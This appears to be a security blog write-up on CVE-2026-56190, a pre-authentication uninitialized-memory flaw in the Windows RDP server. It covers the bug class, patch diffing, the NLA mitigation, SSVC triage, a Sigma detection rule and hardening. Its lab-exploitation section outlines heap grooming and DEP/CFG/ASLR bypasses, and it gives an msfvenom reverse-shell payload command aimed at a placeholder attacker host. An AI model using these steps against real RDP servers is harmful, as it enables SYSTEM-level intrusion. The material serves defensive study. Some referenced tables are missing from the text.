CVE-2026-56190 Anatomy: Uninitialized-Resource RCE in Windows RDP – Pre-Auth Memory Corruption to Remote Code Execution Without a Single Packet of Authentication

Here is the part that should keep RDP admins up at night: a single registry value would have killed this bug before Microsoft shipped a single byte of patch. CVE-2026-56190 is a CWE-908 use-of-uninitialized-resource flaw in termsrv.dll that lets an unauthenticated attacker corrupt memory in the Windows RDP server. It only fires when Network Level Authentication is off. CrowdStrike’s Counter Adversary Operations Advanced Research Team found it, Microsoft patched it on July 14 2026, and it carries a CVSS of 9.8. The story worth telling is not the crash. It is why RDP keeps handing us pre-auth criticals, and why the “uninitialized” bug class is the one everybody underrates.

Why RDP’s pre-auth surface is a graveyard

Every wormable RDP bug of the last decade lives in the same neighbourhood: the code that runs before you have proven who you are. BlueKeep (CVE-2019-0708) was a use-after-free reachable through virtual channel binding during the connection sequence. DejaBlue (CVE-2019-1181/1182/1222/1223) was more heap use-after-free in the RDS stack, again reachable pre-auth. The pattern is not a coincidence. RDP has to parse a small mountain of attacker-supplied protocol structures just to figure out whether it should even ask for credentials, and that parsing runs inside a network-facing service with SYSTEM-adjacent privileges.

The threat model that makes these bugs terrifying is “wormable”: no user interaction, no credentials, network-reachable, and self-propagating potential. BlueKeep proved the model was real when a crypto-miner campaign started exploiting it in November 2019, months after the patch, against the tens of thousands of boxes that were never updated.

CVE-2026-56190 sits squarely in that lineage with one twist. The previous headliners were use-after-free (CWE-416). This one is use of uninitialized resource (CWE-908), the quieter cousin nobody teaches with the same intensity. That difference matters for how you reason about the primitive, and I will come back to it.

CVE-2026-56190 at a glance

Note the tension in that table. The CVSS vector says AV:N/AC:L/PR:N/UI:N with C:H/I:H/A:H, which is the textbook profile of a wormable remote code execution bug. Microsoft’s own exploitability index says “Exploitation Less Likely.” Both can be true. The vector describes the theoretical severity, and the exploitability rating reflects how hard Microsoft thinks reliable weaponization actually is. With an uninitialized-resource primitive, reliability is genuinely the hard part, and that is exactly the gap between a proof-of-crash and a working worm.

The RDP connection sequence, and where the bug lives

To understand where uninitialized memory becomes reachable, you have to know the shape of the handshake. RDP is a stack of nested legacy protocols, and the pre-auth window spans several of them.

The MS-RDPBCGR connection sequence (specification section 1.3.1.1) runs like this:

1. Connection initiation. The client sends an X.224 Connection Request PDU: a 4-byte TPKT header (version 3), the X.224 CR TPDU, an optional mstshash= routing cookie, and an RDP_NEG_REQ structure whose requestedProtocols field advertises which security protocols the client wants (PROTOCOL_RDP, PROTOCOL_SSL, or PROTOCOL_HYBRID for NLA).
2. Protocol negotiation. The server answers with an X.224 Connection Confirm carrying RDP_NEG_RSP.
3. TLS/NLA upgrade. If SSL or HYBRID was negotiated, the TLS handshake happens here, and if NLA was negotiated, CredSSP authentication runs before anything else proceeds.
4. Basic settings exchange. The client sends an MCS Connect Initial PDU wrapping a GCC Conference Create Request. That GCC blob is a concatenation of settings structures: TS_UD_CS_CORE, TS_UD_CS_SEC, and TS_UD_CS_NET, among others.
5. Channel connection. MCS Erect Domain Request, Attach User Request, and the server’s Attach User Confirm.

The vulnerable code runs in steps 1 through 4 on a server where NLA is disabled. When NLA is enforced, CredSSP in step 3 gates everything, and the server never reaches the vulnerable parsing at step 4. That is the whole ballgame for mitigation, and I will hammer it later.

The specific termsrv.dll object that holds the uninitialized field, its function symbol, and the byte offset are not public. CrowdStrike disclosed the class and the reachable phase, not the internals. Anyone telling you the exact struct name without a patch diff to back it is guessing. The structures I name above (TS_UD_CS_NET and friends) are from the open MS-RDPBCGR spec and are authoritative for the wire format. The internal C++ session object is a different thing, and you derive that by diffing the binary.

CWE-908: what “uninitialized resource” actually means

Here is the mechanism, stripped to its essence. In C and C++, memory returned by an allocator is not guaranteed to be zero. malloc, HeapAlloc without HEAP_ZERO_MEMORY, and stack locals all start with indeterminate values. The C11 standard calls these indeterminate values, and reading one for anything other than certain narrow character-type cases is undefined behaviour. In practice the bytes are whatever was last written to that memory: freed object contents, old strings, stale pointers.

CWE-908 is what happens when a program allocates an object, initializes some fields, and then reads a field it forgot to set, usually along an error path or a “short packet” path where normal initialization was skipped. If that field is interpreted as a pointer, a size, an object state, or a callback, the stale bits drive the program’s behaviour.

A minimal illustration of the class (not the CVE, and deliberately generic):

typedef struct _MCS_SESSION {
    ULONG   channelCount;
    USHORT  channelIds[31];
    void  (*onChannelJoin)(struct _MCS_SESSION *, USHORT);  // callback pointer
    UCHAR   securityBlob[64];
} MCS_SESSION, *PMCS_SESSION;

PMCS_SESSION AllocSession(PGCC_SETTINGS s) {
    // No HEAP_ZERO_MEMORY: every field starts as indeterminate heap bytes.
    PMCS_SESSION sess =
        (PMCS_SESSION)HeapAlloc(GetProcessHeap(), 0, sizeof(*sess));
    if (!sess) return NULL;

    sess->channelCount = s->netData.channelCount;   // set from attacker PDU

    // Intended: parse the security block, then wire up the callback.
    if (!ParseSecurityData(s, sess))
        return sess;   // BUG: early return leaves onChannelJoin uninitialized

    sess->onChannelJoin = DefaultChannelJoinHandler;
    return sess;
}

// Later, elsewhere, unconditionally:
void JoinChannel(PMCS_SESSION sess, USHORT id) {
    sess->onChannelJoin(sess, id);   // calls through indeterminate pointer
}

If an attacker sends a TS_UD_CS_SEC block crafted to make ParseSecurityData fail after the object is allocated but before the callback is assigned, JoinChannel calls through whatever stale bytes occupy that pointer slot. On a freshly booted, quiet system those bytes might be a benign null and you get a crash. On a busy server whose heap the attacker has been massaging, those bytes can be steered.

That is the crucial difference from a use-after-free. A UAF gives you a dangling reference to memory that is definitely under allocation control. An uninitialized read gives you whatever happened to be there, which is why reliability is harder and why Microsoft leaned “Exploitation Less Likely.” You do not get a clean primitive for free. You have to manufacture one by controlling what lands in that slot.

Patch diffing termsrv.dll to find the fix

Because the internals are not public, the honest way to root-cause this is a binary diff. The workflow:

1. Pull the pre-patch termsrv.dll and the July 2026 post-patch version. Extract them from the offline .msu update packages using expand.exe and 7-Zip, applying the delta against the prior baseline.
2. Load both into Ghidra and run BinDiff or Diaphora for cross-version function matching.
3. Sort matched functions by similarity ascending. The fix will be a tiny, surgical change buried among noise, so the most-changed functions in the RDP connection-setup path are your candidates.
4. For a CWE-908 fix, look for one of a very small set of edits: an added RtlZeroMemory / memset over the whole object at allocation, a switch from HeapAlloc(..., 0, ...) to HeapAlloc(..., HEAP_ZERO_MEMORY, ...), or an explicit field initialization inserted before the first read.

The pattern you expect to see, in decompiled pseudocode terms:

// BEFORE (vulnerable)
sess = HeapAlloc(heap, 0, 0x120);
sess->channelCount = netData->count;
// ... conditional init that can be skipped ...

// AFTER (patched)
sess = HeapAlloc(heap, HEAP_ZERO_MEMORY, 0x120);   // all fields zeroed up front
sess->channelCount = netData->count;
// ... same conditional init, but the skipped field is now guaranteed 0 ...

That one flag turns an exploitable indeterminate callback pointer into a guaranteed null dereference, which is a denial of service at worst rather than code execution. Load Microsoft’s public symbols from https://msdl.microsoft.com/download/symbols (set _NT_SYMBOL_PATH and .reload /f termsrv.dll in WinDbg) to label the surrounding function, but expect private field names to be absent. Label what you can and flag the rest as inferred. Do not fabricate a symbol to look authoritative.

From uninitialized read to a corruption primitive

Everything past this point belongs in a lab. Use an air-gapped, host-only VM you own, or better, a patched host running a purpose-built toy C service that reproduces the allocation-then-conditional-init pattern above. Never point this at anything internet-reachable, and never at a box you do not control.

The path from crash to primitive follows the same arc every heap bug does:

Trigger. Complete a normal X.224 plus MCS plus GCC handshake against the lab target (NLA disabled), captured in Wireshark with the filter tcp.port == 3389. Then mutate the TS_UD_CS_SEC block or the TS_UD_CS_NET channel-count so the server allocates the session object and then bails out of the initialization branch. Tools: impacket or rdpy to build the PDUs by hand, or boofuzz to mutate a recorded template. In WinDbg, !analyze -v on the resulting access violation tells you the faulting instruction and which register held the stale bytes.

Offset. Replace the mutated field with a cyclic pattern (msf-pattern_create -l 512), re-trigger, and read the offending register. msf-pattern_offset -q <value> gives you the exact position in your input that lands in the uninitialized slot, if your input is what is populating it through the heap.

Characterize. This is where CWE-908 diverges from UAF. You are not overwriting an object directly. You are reading a value that some previous allocation left behind. So the primitive work is really heap-grooming work: !heap -p -a <faulting_addr> in WinDbg shows the block size and the allocation call stack, which tells you what other allocations share that size class. The goal is to arrange for a controlled allocation to occupy and free the exact slot the session object will later reuse, so your bytes are the stale bytes.

Shape. BlueKeep research established the technique: use RDP virtual channel data (the rdpsnd channel was the classic vehicle) to spray predictable-size allocations, fill holes, and position freed controlled data adjacent to or overlapping the target allocation. Iterate until the crash reproduces with your bytes in the faulting register every time. Consistency is the metric that separates a primitive from a novelty.

Once you own the value in that callback pointer or size field, you have one of two primitives:

Getting to code execution, and the mitigations in the way

Control of RIP is not the finish line on a modern Windows Server. The obstacles:

• DEP/NX. You cannot just jump to sprayed data and execute it. You need a ROP chain, typically to call VirtualProtect or VirtualAlloc and mark a region executable. Build gadgets with ROPgadget or rp++ against termsrv.dll, ntdll.dll, and other modules in the RDP worker process.
• Control Flow Guard. Check with dumpbin /headers termsrv.dll | findstr Guard. If CFG is on, an indirect call target must be a registered valid function entry, which kills naive pointer redirection. Practical answers in a lab: target a data pointer instead of a code pointer, corrupt a structure that is later used in a non-CFG-checked dispatch, or source gadgets from a module without CFG loaded in the same address space.
• ASLR. You need an information leak to defeat base randomization. If your primitive also yields an out-of-bounds read, that same bug can leak a module pointer. Otherwise, in a lab you can pin a fixed-base module for staging and document that this is a reliability shortcut a real attacker would not enjoy.

The payload, for lab purposes, is straightforward: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lab-attacker> LPORT=4444 -f raw -b '\x00' -o shell.bin, embedded in the channel spray, with a multi/handler catching the callback. Expect the shell in the RDP service’s context, which on a default install means SYSTEM. That is the whole point of a pre-auth RDP bug: no credentials in, full control out.

Reflect on the reliability curve here. Every one of those steps has to work in sequence on a heap you only influence indirectly, on a service you cannot see the internal state of, across whatever the target’s memory happened to contain. That is why “Exploitation Less Likely” is a defensible call and also why it is not an excuse to defer patching. Reliability improves with research. BlueKeep went from “hard to weaponize” to Metasploit module to in-the-wild worm inside a few months.

NLA as a structural mitigation versus the patch

This is the part I care about most, because it is where most orgs get the priority backwards.

NLA (Network Level Authentication, implemented through CredSSP) forces authentication into step 3 of the connection sequence, before the server parses the GCC settings blocks where this bug lives. Enable it and the vulnerable code is simply unreachable for an unauthenticated attacker. The bug still exists in the binary. The attack surface does not.

That makes NLA a structural mitigation, and it has properties a patch does not:

• It closes the pre-auth path for this bug and every future bug in the same phase, sight unseen.
• It requires no reboot, no update ring, no compatibility testing against a new DLL.
• It is a two-value registry change you can enforce fleet-wide by GPO.

Audit your posture with PowerShell:

$path = 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp'
Get-ItemProperty -Path $path |
    Select-Object @{n='SecurityLayer';e={$_.SecurityLayer}},   # want 2 (SSL/TLS)
                  @{n='UserAuthentication';e={$_.UserAuthentication}}  # want 1 (NLA on)

SecurityLayer = 2 and UserAuthentication = 1 is the target state. Push it through Group Policy under Remote Desktop Session Host security settings: require the SSL security layer and set “Require use of Network Level Authentication” to Enabled.

None of this replaces the July 2026 patch. NLA is a network-position control. An attacker with valid credentials, or one who lands inside your perimeter, gets past CredSSP and back into the vulnerable code. Patch fixes the bug for everyone including authenticated and internal attackers. The correct posture is both, in this order: enforce NLA today because it is free and instant, then patch on your normal emergency cadence because it is the permanent fix.

The CISA SSVC “automatable” walkthrough

CISA does not use CVSS alone to decide urgency. It uses SSVC (Stakeholder-Specific Vulnerability Categorization), a small decision tree that produces an action, not a number. For a coordinator or defender, the decision points are Exploitation, Automatable, Technical Impact, and mission/well-being relevance. Walk CVE-2026-56190 through it:

“Automatable: Yes” is the value that should change your behaviour. It means the bug scales. One working exploit becomes a scanner-plus-payload that sweeps the internet, which is precisely the BlueKeep worm story. Combine Automatable=Yes with Technical Impact=Total and any real mission relevance, and the SSVC tree pushes you off “Track” and toward “Attend,” escalating to “Act” for any host actually exposed on 3389. Even with Exploitation=None, the automatable-plus-total combination is the profile that historically flips to active exploitation fastest.

The takeaway you can reuse on the next CVE: CVSS 9.8 tells you how bad it is if exploited. SSVC’s Automatable point tells you how fast it will spread once someone bothers. Prioritize on both.

Detection, hunting, and defense

You cannot see the exploit primitive from the network cleanly, but you can see the noise around it and the aftermath.

Host telemetry

The WER signal is underrated. An uninitialized-resource exploit is unreliable by nature, so attackers crash the service repeatedly while tuning heap grooming. A cluster of termsrv.dll faults from external sources is your canary before anyone gets a shell.

ETW providers worth collecting

Microsoft-Windows-RDP-Server-EtwProvider for connection lifecycle and PDU parse errors (confirm the GUID with logman query providers | findstr /i rdp on your own box, do not trust a copied GUID), Microsoft-Windows-Security-Auditing for logon anomalies, and the HeapManager ETW instrumentation via WPR or xperf if you want heap-corruption telemetry during hunting.

Sigma starting point

title: Potential CVE-2026-56190 Post-Exploitation - RDP Service Spawning Interpreter
id: 8f2a1c44-0e5b-4d9a-9c3e-7a1b2c3d4e5f
status: experimental
description: >
  Suspicious child process from svchost.exe hosting TermService, indicative of
  post-exploitation following a pre-auth RDP RCE such as CVE-2026-56190.
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\svchost.exe'
    ParentCommandLine|contains: 'TermService'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\rundll32.exe'
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  condition: selection
falsepositives:
  - Rare RDP session-management scripts, investigate each
level: critical
tags:
  - attack.t1190
  - attack.t1059

Confirm ParentCommandLine actually carries TermService in your Sysmon config before you trust that filter, and tune in your lab first.

Network detection

Alert on connections that complete the X.224 Connection Confirm and then send a GCC Conference Create Request with an out-of-spec TS_UD_CS_NET channel count (the spec caps channels at 31) from a source that never performed a CredSSP handshake. Separately, flag bursts of short-lived 3389 connections (SYN, SYN-ACK, then RST after one to three packets) from a single source, the fingerprint of scanning and fuzzing.

MITRE ATT&CK mapping

Hardening, in priority order

1. Enforce NLA everywhere (SecurityLayer = 2, UserAuthentication = 1) via GPO. Do this today.
2. Apply the July 2026 update (confirm the KB from MSRC for your build).
3. Get RDP off the internet. Put it behind a VPN or jump host and verify with shodan search port:3389 org:<yourorg>.
4. Perimeter firewall: block inbound 3389 except from VPN and jump-host subnets.
5. Enable Defender ASR rules that block process creation from PsExec/WMI to slow post-exploitation lateral movement.
6. Turn on Credential Guard and use the Protected Users group to limit credential theft from compromised sessions.

BlueKeep to DejaBlue to CVE-2026-56190

The trend line is unmistakable. Same protocol, same pre-auth phase, same NLA mitigation, three times across seven years. The bug class shifted from use-after-free to uninitialized resource, which suggests Microsoft has been hardening the lifetime-management code that produced the UAFs, and researchers moved to the next-easiest memory-safety failure in the same parsing surface. That is how attrition works on legacy C++ code that predates modern safe defaults. Expect a fourth entry in this table before 2030, in the same phase, from a different weakness class.

Key takeaways

• CVE-2026-56190 is a CWE-908 pre-auth RCE in termsrv.dll, reachable during GCC settings parsing before authentication, but only when NLA is disabled.
• Uninitialized-resource bugs are harder to weaponize than use-after-free because you inherit stale bytes rather than control an allocation directly, which is why Microsoft rated it “Exploitation Less Likely.” Do not read that as “safe.”
• NLA is a structural mitigation you can enforce with two registry values and zero downtime. It closes the pre-auth surface for this bug and future ones. Enforce it before you even schedule the patch.
• The patch is a one-flag fix you can confirm by binary-diffing the DLL: allocation switched to zero-initialized memory. Do not trust any writeup that hands you exact offsets or struct names, because Microsoft did not publish them and neither did CrowdStrike.
• SSVC’s “Automatable: Yes” plus “Technical Impact: Total” is the profile that becomes a worm. Prioritize on how fast a bug spreads, not just how bad each hit is.
• Watch Windows Error Reporting for termsrv.dll crashes from external sources. Unreliable exploits crash loudly before they ever land a shell.

Related Tutorials

• Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
• Jobs and Silos: Process Grouping and Resource Limits
• Passive OSINT: Mapping the Target Without Touching It
• Memory Management Internals

References

• references
• www.crowdstrike.com
• CVE-2026-56190: Windows RDP Remote Code Execution and Patch Priority (Penligent)
• The July 2026 Security Update Review – CVE-2026-56190 (Zero Day Initiative / Trend Micro)
• CWE-908: Use of Uninitialized Resource (MITRE CWE)
• Exploitation of Remote Services, Technique T1210 – Enterprise (MITRE ATT&CK)